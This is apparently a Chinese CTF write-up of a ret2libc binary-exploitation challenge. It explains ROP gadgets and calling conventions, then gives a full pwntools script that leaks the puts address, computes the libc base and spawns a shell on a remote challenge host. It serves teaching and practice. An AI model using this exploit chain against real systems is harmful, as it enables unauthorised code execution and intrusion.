本文最后更新于 2026-08-01T23:29:59+08:00
Ret2Libc
搞懂的第一道ret2libc的题。
查看源代码
1 2 3 4 5 6 7 8
| int sub_400632() { _BYTE buf[64];
puts("Do you know how to do buffer overflow?"); read(0, buf, 0x100uLL); return puts("I hope you win"); }
|
非常简短的一个栈溢出的题,没有system,没有/bin/sh
一下就能看出是ret2libc的题。
基础ROP
两个汇编代码
在汇编代码的栈操作中,有两个很重要的知识点
ret代码相当于:
1 2
| mov ip,[sp] ;ip是保存内存中当前要执行的代码的地址的寄存器 add sp,4 ;32位的程序是esp+=4,64位是rsp+=8,所以ret指令就相当于将栈中的下一个元素弹出到ip寄存器
|
pop rdi代码相当于:
1 2
| mov rdi,[rsp] ;将栈顶元素弹出到寄存器中 add rsp,8 ;栈顶指针下移
|
由于64位程序中,函数调用参数不是从栈上开始的,而是从rdi rsi rdx rcx r8 r9这6个寄存器开始的,所以改变寄存器的值是函数传参的必要之举。这段代码是64位程序中的非常重要的gadget构造方式,因为它能将数据直接写入寄存器。
call代码相当于:
1 2
| push ret_addr ;将返回地址,即call指令的下一条指令的地址压栈 jmp func ;跳转到调用的函数
|
函数传参
32位函数传参
最基本的函数传参的栈结构(由32位cdecl约定
| 返回地址 <– esp |
| 参数1 [esp + 4] |
| 参数2 [esp + 8] |
| … |
(*注:此时eip指向被调用的函数,上面的栈结构是现在调用的函数看到的样子
所以最基本的32位payload攻击:
1
| payload = offset * b'a' + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)
|
system函数的地址覆盖了原有的返回地址,整个程序跳转到system上执行。
0xdeadbeef是空地址,覆盖了system看到的栈上的返回地址,作为system函数的返回地址。
binsh_addr是/bin/shshell的地址,作为system函数的第一个参数,拿到shell,结束函数后,函数返回空地址。
来看一个更高级的:
1
| payload = offset * b'a' + p32(gets_plt) + p32(pop_ebx) + p32(buf) + p32(system_plt) + p32(0xdeadbeef) + p32(buf)
|
pop ebx的作用是,当gets函数结束,返回地址弹出时,作为参数的buf值还残留在栈上,会打乱system正常调用栈,所以要将buf参数弹出到ebx里,让system不会误判返回函数
gets在返回到返回地址后,会执行ret,弹出栈里面的下一个元素到eip,这也是为什么gets结束后还能继续执行system的原因。
看一下错误的写法:
1
| payload = offset * b'a' + p32(gets_plt) + p32(system_plt) + p32(buf) + p32(0xdeadbeef) + p32(buf)
|
gets函数会把system的地址当作返回地址。虽然执行完gets函数之后,程序成功跳转到了system函数,但是会把buf的值误判为system的返回地址,把0xdeadbeef当作参数,导致程序报错
64位函数传参
看一下最基本的写法:
1
| payload = offset * b'a' + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system)
|
- 执行
pop rdi;ret时,将/bin/sh弹出到rdi,由于调用约定,rdi中的参数将作为system函数的第一个参数
- 添加的
ret_addr是为了栈平衡。
Ret2Libc原理
当NX开启和ASLR开启的时候,shellcode无法在栈上执行,所以程序返回到栈上执行shellcode是无法实现的。而ASLR开启,会导致libc地址随机化。所以Ret2Libc的最终目的就是泄露libc的基地址。
由于每个函数在libc表里的偏移地址都不同,但是libc的基地址在单次内执行文件的时候都是不变的,所以我们可以用函数的真实地址减去偏移地址计算libc基地址。
.plt表和.got表
.got表里保存着函数的真实地址,而.plt表保存着函数在.got表里对应的地址。
通常程序调用函数的时候,是从plt直接取的函数地址,即用plt表中的地址充当函数

Libc也有很多版本。拿puts为例,利用LibcSearcher可以找出puts的偏移地址和函数在.got表中的地址(不是真实地址!):
1 2 3 4
| elf = ELF('./pwn') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] puts_libc = libc.dump('puts')
|
通过泄露代码泄露puts函数的真实地址:
1 2 3
| payload = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
|
puts(puts_got)输出puts在.got表上对应的地址上的值(即puts的真实地址)
- 泄露后返回到
main函数继续执行
- 开启ASLR后的真实地址通常长这样:
0x7f1234567aa0,小端存储为a0 7a 56 34 12 7f 00 00,即 b'\xa0\x7a\x56\x34\x12\x7f\x00\x00'(倒过来存储)。最高两位通常不输出,所以只取低6位,并在最高位补0
32位程序接受泄露地址:
1
| leak_addr = u32(p.recv(4))
|
所以可以编写exp了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * from LibcSearcher import * context(log_level = 'debug',os = 'linux', arch = 'amd64')
p = remote('node4.anna.nssctf.cn',25209) offset = 0x40 + 0x8 elf = ELF('./babyof') puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main_addr = 0x400550 pop_rdi = 0x400743 payload1 = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendline(payload1) leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',leak) libc_base = leak - libc.dump('puts') system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') ret_addr = 0x400506 payload = b'a' * offset + p64(pop_rdi) + p64(binsh) + p64(ret_addr) + p64(system) p.sendline(payload) p.interactive()
|